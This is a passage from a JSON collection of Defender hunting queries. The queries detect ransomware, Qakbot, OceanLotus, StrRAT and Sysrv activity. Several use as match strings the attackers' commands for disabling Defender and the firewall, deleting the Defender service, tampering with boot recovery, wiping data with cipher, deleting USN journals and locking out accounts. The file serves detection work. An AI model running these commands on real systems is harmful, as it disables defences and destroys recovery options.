control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/MacOceanLotusBackdoor.txt",
    "content": "// Backdoor processes associated with OceanLotus Mac Malware Backdoor\n// References:\n//    https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/ \n//\n// OS platforms: Macintosh     \nDeviceProcessEvents\n| where Timestamp > ago(14d)\n| where FileName in~ (\"screenassistantd\",\"spellagentd\")\n| top 100 by Timestamp \n\n"
  },
  {
    "path": "Campaigns/MacOceanLotusDropper.txt",
    "content": "// Backdoor processes associated with OceanLotus Mac malware backdoor dropper\n// References:\n//    https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/ \n// OS Platforms: Macintosh\nDeviceProcessEvents\n| where Timestamp > ago(14d)\n| where ProcessCommandLine contains \"theme0\" \n| project Timestamp, DeviceId , DeviceName, AccountName , AccountSid , InitiatingProcessCommandLine , ProcessCommandLine  \n| top 100 by Timestamp \n\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/Disable Controlled Folders.md",
    "content": "# Macaw ransomware - Disable Controlled Folders \nPrior to deploying Macaw ransomware in an organization, the adversary will disable all controlled folders, which will enable them to be encrypted once the ransomware payload is deployed. \n\n## Query\nThis query looks for instances where the attacker has disabled the use of controlled folders.\n```\nDeviceProcessEvents \n| where InitiatingProcessFileName =~ 'cmd.exe' \n| where FileName =~ 'powershell.exe' and ProcessCommandLine has('powershell.exe  -command \"Set-MpPreference -EnableControlledFolderAccess Disabled\"') \n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/Imminent Ransomware.md",
    "content": "# Macaw ransomware - Imminent Ransomware \nDirectly prior to deploying Macaw ransomware in an organization, the attacker will run several commands designed to disable security tools and system recovery tools. \n\n## Query\nThis query looks for instances where the attacker has run a collection of commands designed to tamper with security tools and system recovery tools.\n```\nDeviceProcessEvents \n// Pivot on specific commands \n| where ProcessCommandLine has_any(\"-ExclusionPath\", \"Set-MpPreference\", \"advfirewall\", \"-ExclusionExtension\", \n\"-EnableControlledFolderAccess\", \"windefend\", \"onstart\", \"bcdedit\", \"Startup\") \n// Making list of found commands \n| summarize ProcessCommandLine = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 6h) \n// Extending columns for later aggregration, based on TTP \n| extend StartUpExclusionPath = iff(ProcessCommandLine has_all(\"-ExclusionPath\", \"Startup\"), 1, 0) \n| extend DefenderTamp = iff(ProcessCommandLine has \"Set-MpPreference\" \nand ProcessCommandLine has_any( \n\"-SevereThreatDefaultAction 6\" \n\"-HighThreatDefaultAction 6\", \n\"-ModerateThreatDefaultAction 6\", \n\"-LowThreatDefaultAction 6\" \n\"-ScanScheduleDay 8\"), 1, 0) \n| extend NetshFirewallTampering = iff(ProcessCommandLine has_all( \"netsh\", \"advfirewall\", \"allprofiles state off\"), 1, 0) \n| extend BatExclusion = iff(ProcessCommandLine has_all(\"-ExclusionExtension\", \".bat\"), 1, 0) \n| extend ExeExclusion = iff(ProcessCommandLine has_all(\"-ExclusionExtension\", \".exe\"), 1, 0) \n| extend DisableControlledFolderAccess = iff(ProcessCommandLine has_all(\"-EnableControlledFolderAccess\", \"Disabled\"), 1, 0) \n| extend ScDeleteDefend = iff(ProcessCommandLine has_all(\"sc\", \"delete\", \"windefend\"), 1, 0) \n| extend BootTampering = iff(ProcessCommandLine has_all(\"bcdedit\", \"default\") and ProcessCommandLine has_any (\"recoveryenabled No\", \"bootstatuspolicy ignoreallfailures\"), 1, 0) \n| extend SchTasks = iff(ProcessCommandLine has_all(\"/sc\", \"onstart\", \"system\", \"/create\", \"/delay\"), 1, 0) \n// Summarizing found commands \n| summarize by NetshFirewallTampering ,BatExclusion, ExeExclusion, DisableControlledFolderAccess, ScDeleteDefend, SchTasks, BootTampering, DefenderTamp, StartUpExclusionPath, DeviceId, Timestamp \n// Adding up each piece of evidence \n| extend EvidenceCount = NetshFirewallTampering + BatExclusion + ExeExclusion + DisableControlledFolderAccess + ScDeleteDefend + SchTasks + BootTampering + DefenderTamp + StartUpExclusionPath \n| where EvidenceCount > 4 \n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/Inhibit recovery by disabling tools and functionality.md",
    "content": "# Macaw ransomware - Inhibit recovery by disabling tools and functionality \nPrior to deploying Macaw ransomware in an organization, the adversary will disable several tools and functions in order to inhibit later recovery efforts. \n\n## Query\nThis query looks for instances where the attacker has disabled various tools including Task Manager, CMD, and Registry Tools.\n```\nDeviceProcessEvents \n| where ProcessCommandLine has_all (\"reg\", \"add\") \n| where ProcessCommandLine has_any(\"DisableTaskMgr\", \"DisableCMD\", \"DisableRegistryTools\", \"NoRun\") and ProcessCommandLine has \"REG_DWORD /d \\\"1\\\"\" \n| summarize ProcessCount = dcount(ProcessCommandLine), make_set(ProcessCommandLine) by InitiatingProcessCommandLine, DeviceId, bin(Timestamp, 3m) \n| where ProcessCount > 2 \n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/Mass account password change.md",
    "content": "# Macaw ransomware - Mass account password change \nPrior to deploying Macaw ransomware in an organization, adversaries will change the password for hundreds or thousands of accounts in order to lock users out of the network and impeded recovery efforts.\n\n## Query\nThis query looks for instances of attackers changes hundreds of account passwords within short succession.\n```\nDeviceProcessEvents \n| where ProcessCommandLine has_all('user', '/Domain', '/Active:Yes', '/PasswordChg:No') \n| summarize commands=count() by DeviceId, bin(Timestamp, 1d)  \n| where commands > 200 \n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/PSExec Attrib commands.md",
    "content": "# Macaw ransomware - PSExec Attrib commands \nPrior to deploying Macaw ransomware in an organization, adversaries wil use Attrib to display file attribute information on multiple drives and all subfolders. \n\n## Query\nThis query looks for PSExec utilizing a .bat file to run the attrib command with parameters observed in Macaw incidents.\n```\nDeviceProcessEvents \n| where InitiatingProcessParentFileName endswith \"PSEXESVC.exe\" \n| where InitiatingProcessCommandLine has \".bat\" \n| where FileName =~ \"cmd.exe\" and ProcessCommandLine has_all(\"-s\", \"-h\", \"-r\", \"-a\", \"*.*\") \n| take 100 \n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Macaw Ransomware/Use of MSBuild as LOLBin.md",
    "content": "# Macaw Ransomware - Use of MSBuild.exe as a LOLBin\nPrior to deploying Macaw ransomware in an organization, the adversary frequently uses MSBuild.exe as a LOLBin to communicate with the C2. \n\n## Query\nThis query looks for instances of MSBuild.exe being used as a LOLBin.\n```\nDeviceProcessEvents \n| where InitiatingProcessFileName =~ \"wmiprvse.exe\" \n| where FileName =~ \"msbuild.exe\" and ProcessCommandLine has \"programdata\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/OceanLotus registry activity.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_oceanlotus_registry.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceRegistryEvents \n| where Timestamp > ago(7d)\n| where ActionType == \"RegistryValueSet\" \n| where RegistryKey endswith @\"\\SOFTWARE\\Classes\\CLSID\\{E08A0F4B-1F65-4D4D-9A09-BD4625B9C5A1}\\Model\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppXbf13d4ea2945444d8b13e2121cb6b663\\Application\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppXbf13d4ea2945444d8b13e2121cb6b663\\DefaultIcon\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppX70162486c7554f7f80f481985d67586d\\Application\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppX70162486c7554f7f80f481985d67586d\\DefaultIcon\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppX37cc7fdccd644b4f85f4b22d5a3f105a\\Application\" \n     or RegistryKey endswith @\"\\SOFTWARE\\App\\AppX37cc7fdccd644b4f85f4b22d5a3f105a\\DefaultIcon\"\n"
  },
  {
    "path": "Campaigns/Qakbot/Excel launching anomalous processes.md",
    "content": "# Excel launching anomalous processes\n\n\n## Query\nUse this query to find Excel launching anomalous processes congruent with Qakbot payloads which contain additional markers from recent Qakbot executions. The presence of such anomalous processes indicate that the payload was delivered and executed, though reconnaissance and successful implantation hasn’t been completed yet. \n```\nDeviceProcessEvents\n| where InitiatingProcessParentFileName has \"excel.exe\" or InitiatingProcessFileName =~ \"excel.exe\"\n| where InitiatingProcessFileName in~ (\"excel.exe\",\"regsvr32.exe\")\n| where FileName in~ (\"regsvr32.exe\", \"rundll32.exe\")| where ProcessCommandLine has @\"..\\\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Qakbot/General attempts to access local email store.md",
    "content": "# General attempts to access local email store\n\n\n## Query\nUse this query to find attempts to access files in the local path containing Outlook emails. \n```\nDeviceFileEvents\n| where FolderPath hasprefix \"EmailStorage\"\n| where FolderPath has \"Outlook\"\n| project FileName, FolderPath, InitiatingProcessFileName,\nInitiatingProcessCommandLine, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection | v |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Qakbot/Qakbot Craigslist Domains.md",
    "content": "# Qakbot Craigslist Domains\nQakbot operators have been abusing the Craigslist messaging system to send malicious emails. These emails contain non-clickable links to malicious domains impersonating Craigslist, which the user is instructed to manually type into the address bar to access.\n\n## Query\nThis query looks for network connections to domains impersonating Craigslist which are associated with the delivery of Qakbot.\n```\nDeviceNetworkEvents\n| where RemoteUrl matches regex @\"abuse\\.[a-zA-Z]\\d{2}-craigslist\\.org\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Qakbot/Qakbot email theft.md",
    "content": "# Qakbot email theft\n\n\n## Query\nUse this query to find email stealing activities ran by Qakbot that will use “ping.exe -t 127.0.0.1” to obfuscate subsequent actions. Email theft that occurs might be exfiltrated to operators and indicates that the malware completed a large portion of its automated activity without interruption. \n\nGeneric:\n```\nDeviceFileEvents\n| where InitiatingProcessFileName =~ 'ping.exe'\n| where FileName endswith '.eml'\n```\nSpecific:\n```\nDeviceFileEvents\n| where InitiatingProcessFileName =~ 'ping.exe' and InitiatingProcessCommandLine == 'ping.exe -t 127.0.0.1'\n    and InitiatingProcessParentFileName in~('msra.exe', 'mobsync.exe') and FolderPath endswith \".eml\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection | v |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Qakbot/Qakbot reconnaissance activities.md",
    "content": "# Qakbot reconnaissance activities\n\n\n## Query\nUse this query to find reconnaissance and beaconing activities after code injection occurs. Reconnaissance commands are consistent with the current version of Qakbot and occur automatically to exfiltrate system information. This data, once exfiltrated, will be used to prioritize human operated actions. \n```\nDeviceProcessEvents\n| where InitiatingProcessFileName == InitiatingProcessCommandLine\n| where ProcessCommandLine has_any (\n\"whoami /all\",\"cmd /c set\",\"arp -a\",\"ipconfig /all\",\"net view /all\",\"nslookup -querytype=ALL -timeout=10\",\n\"net share\",\"route print\",\"netstat -nao\",\"net localgroup\")\n| summarize dcount(FileName), make_set(ProcessCommandLine) by DeviceId,bin(Timestamp, 1d), InitiatingProcessFileName, InitiatingProcessCommandLine\n| where dcount_FileName >= 8\n\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Alternate Data Streams use.txt",
    "content": "// Find use of Alternate Data Streams (ADS) for anti-forensic purposes.\r\n// Alternate Data Streams execution \r\nDeviceProcessEvents \r\n| where Timestamp > ago(7d) \r\n// Command lines used \r\n| where ProcessCommandLine startswith \"-q -s\" and ProcessCommandLine has \"-p\" \r\n// Removing IDE processes \r\nand not(FolderPath has_any(\"visual studio\", \"ide\")) \r\n| summarize make_set(ProcessCommandLine), make_set(FolderPath), \r\nmake_set(InitiatingProcessCommandLine) by DeviceId, bin(Timestamp, 1h)"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Backup deletion.txt",
    "content": "// List alerts flagging attempts to delete backup files\r\n​ AlertInfo \r\n| where Timestamp > ago(7d) \r\n| where Title == \"File backups were deleted\" \r\n| join AlertEvidence on AlertId \r\n\r\n"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Cipher.exe tool deleting data.txt",
    "content": "​// Look for cipher.exe deleting data from multiple drives. \r\n// This is often performed as an anti-forensic measure prior to encryption.\r\nDeviceProcessEvents \r\n| where Timestamp > ago(7d)  \r\n| where FileName =~ \"cipher.exe\"  \r\n// Looking for /w flag for deleting  \r\n| where ProcessCommandLine has \"/w\"  \r\n| summarize CommandCount = dcount(ProcessCommandLine), \r\nmake_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 1m)  \r\n// Looking for multiple drives in a short timeframe  \r\n| where CommandCount > 1"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Clearing of system logs.txt",
    "content": "​// Look for attempts to use fsutil.exe to delete file system logs that can be used as forensic artifacts.\r\nDeviceProcessEvents\r\n| where Timestamp > ago(7d)\r\n| where FileName =~ \"fsutil.exe\"\r\nand ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\""
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Possible compromised accounts.txt",
    "content": "// Identify accounts that have logged on to affected endpoints\r\n// Check for specific alerts\r\nAlertInfo \r\n| where Timestamp > ago(7d)\r\n// Attempts to clear security event logs.\r\n| where Title in(\"Event log was cleared\", \r\n// List alerts flagging attempts to delete backup files.\r\n\"File backups were deleted\", \r\n// Potential Cobalt Strike activity - Note that other threat activity can also \r\n// trigger alerts for suspicious decoded content\r\n\"Suspicious decoded content\", \r\n// Cobalt Strike activity\r\n\"'Atosev' malware was detected\", \r\n\"'Ploty' malware was detected\", \r\n\"'Bynoco' malware was detected\")\r\n| extend AlertTime = Timestamp\r\n| join AlertEvidence on AlertId \r\n| distinct DeviceName, AlertTime, AlertId, Title\r\n| join DeviceLogonEvents on DeviceName\r\n// Creating 10 day Window surrounding alert activity\r\n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d \r\n// Projecting specific columns\r\n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain, \r\nAccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\r\n\r\n\r\n"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Robbinhood activity.txt",
    "content": "// Find distinct evasion and execution activities \r\n// associated with the Robbinhood ransomware campaign.\r\nDeviceProcessEvents \r\n| where Timestamp > ago(7d) \r\n| where InitiatingProcessFileName =~ \"winlogon.exe\"  \r\n| where FileName == \"cmd.exe\" and ProcessCommandLine has_any(\"taskkill\", \"net\", \r\n\"robbin\", \"vssadmin\", \"bcdedit\", \"wevtutil\")"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Turning off System Restore.txt",
    "content": "// Find attempts to stop System Restore and \r\n// prevent the system from creating restore points\r\nDeviceProcessEvents  \r\n| where Timestamp > ago(7d)  \r\n// Pivoting for rundll32  \r\nand InitiatingProcessFileName =~ 'rundll32.exe'   \r\n// Looking for empty command line   \r\nand isnotempty(InitiatingProcessCommandLine)  \r\n// Looking for schtasks.exe as the created process  \r\nand FileName in~ ('schtasks.exe')  \r\n// Disabling system restore   \r\nand ProcessCommandLine has 'Change' and ProcessCommandLine has 'SystemRestore' \r\nand ProcessCommandLine has 'disable'"
  },
  {
    "path": "Campaigns/Ransomware hits healthcare - Vulnerable Gigabyte drivers.txt",
    "content": "// Locate vulnerable Gigabyte drivers used by RobbinHood ransomware to turn off security tools\r\n​DeviceFileEvents \r\n| where Timestamp > ago(7d) \r\n| where SHA1 in('0b15b5cc64caf0c6ad9bd759eb35383b1f718edf3d7ab4cd912d0d8c1826edf8', \r\n'31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427')"
  },
  {
    "path": "Campaigns/StrRAT malware/StrRAT-AV-Discovery.md",
    "content": "# StrRAT Malware AV Discovery\nStrRAT is a Java-based remote access tool which steals browser credentials, logs keystrokes and take remote control of infected systems. It also has a module to download additional payload onto to the infected machine based on C2 server command. Additionally, this threat also has a ransomware encryption/decryption module which appends .crimson extension.\n\n## Query\nThe following query looks for instances of defense evasion behavior, whereby the malware attempts to discover the Antivirus production solutions in place on the compromised device.\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName in~(\"java.exe\", \"javaw.exe\") and InitiatingProcessCommandLine has \"roaming\"\n| where FileName == 'cmd.exe' and  ProcessCommandLine has 'path antivirusproduct get displayname'\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/StrRAT malware/StrRAT-Email-Delivery.md",
    "content": "# StrRAT Malware Email Delivery \nStrRAT is a Java-based remote access tool which steals browser credentials, logs keystrokes and take remote control of infected systems. It also has a module to download additional payload onto to the infected machine based on C2 server command. Additionally, this threat also has a ransomware encryption/decryption module which appends .crimson extension.\n\n## Query\nThe following query looks for emails containing domains known to be associated with delivering StrRAT malware.\n```\nEmailUrlInfo\n| where UrlDomain has_any ('metroscaffingltg.co.uk',\n'pg-finacesolutions.co.uk',\n'jpfletcherconsultancy.co.uk',\n'buildersworlinc.co.uk',\n'bentlyconstbuild.co.uk',\n'alfredoscafeltd.co.uk',\n'zincocorporation.co.uk',\n'playerscircleinc.co.uk',\n'tg-cranedinc.co.uk',\n'adamridley.co.uk',\n'westcoasttrustedtaxis.co.uk',\n'sivospremiumclub.co.uk',\n'gossyexperience.co.uk',\n'jeffersonsandc.co.uk',\n'fillinaresortsltd.co.uk',\n'tk-consultancyltd.co.uk')\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/StrRAT malware/StrRAT-Malware-Persistence.md",
    "content": "# StrRAT Malware Persistence\nStrRAT is a Java-based remote access tool which steals browser credentials, logs keystrokes and take remote control of infected systems. It also has a module to download additional payload onto to the infected machine based on C2 server command. Additionally, this threat also has a ransomware encryption/decryption module which appends .crimson extension.\n\n## Query\nThe following query looks for the scheduled task named \"Skype,\" which is created by the StrRAT JAR file. This creates persistence on the impacted machine.\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName in~(\"java.exe\",\"javaw.exe\")\n| where FileName == 'cmd.exe' and ProcessCommandLine has_all(\"schtasks /create\", \"tn Skype\")\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/app-armor-stopped.md",
    "content": "# AppArmor service stopped\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances of the attacker attempting to stop the AppArmor network security service on devices running Linux.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where InitiatingProcessCommandLine  has \"/bin/bash /tmp/\" and ProcessCommandLine has \"service apparmor stop\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion |  |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component | v |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/java-executing-cmd-to-run-powershell.md",
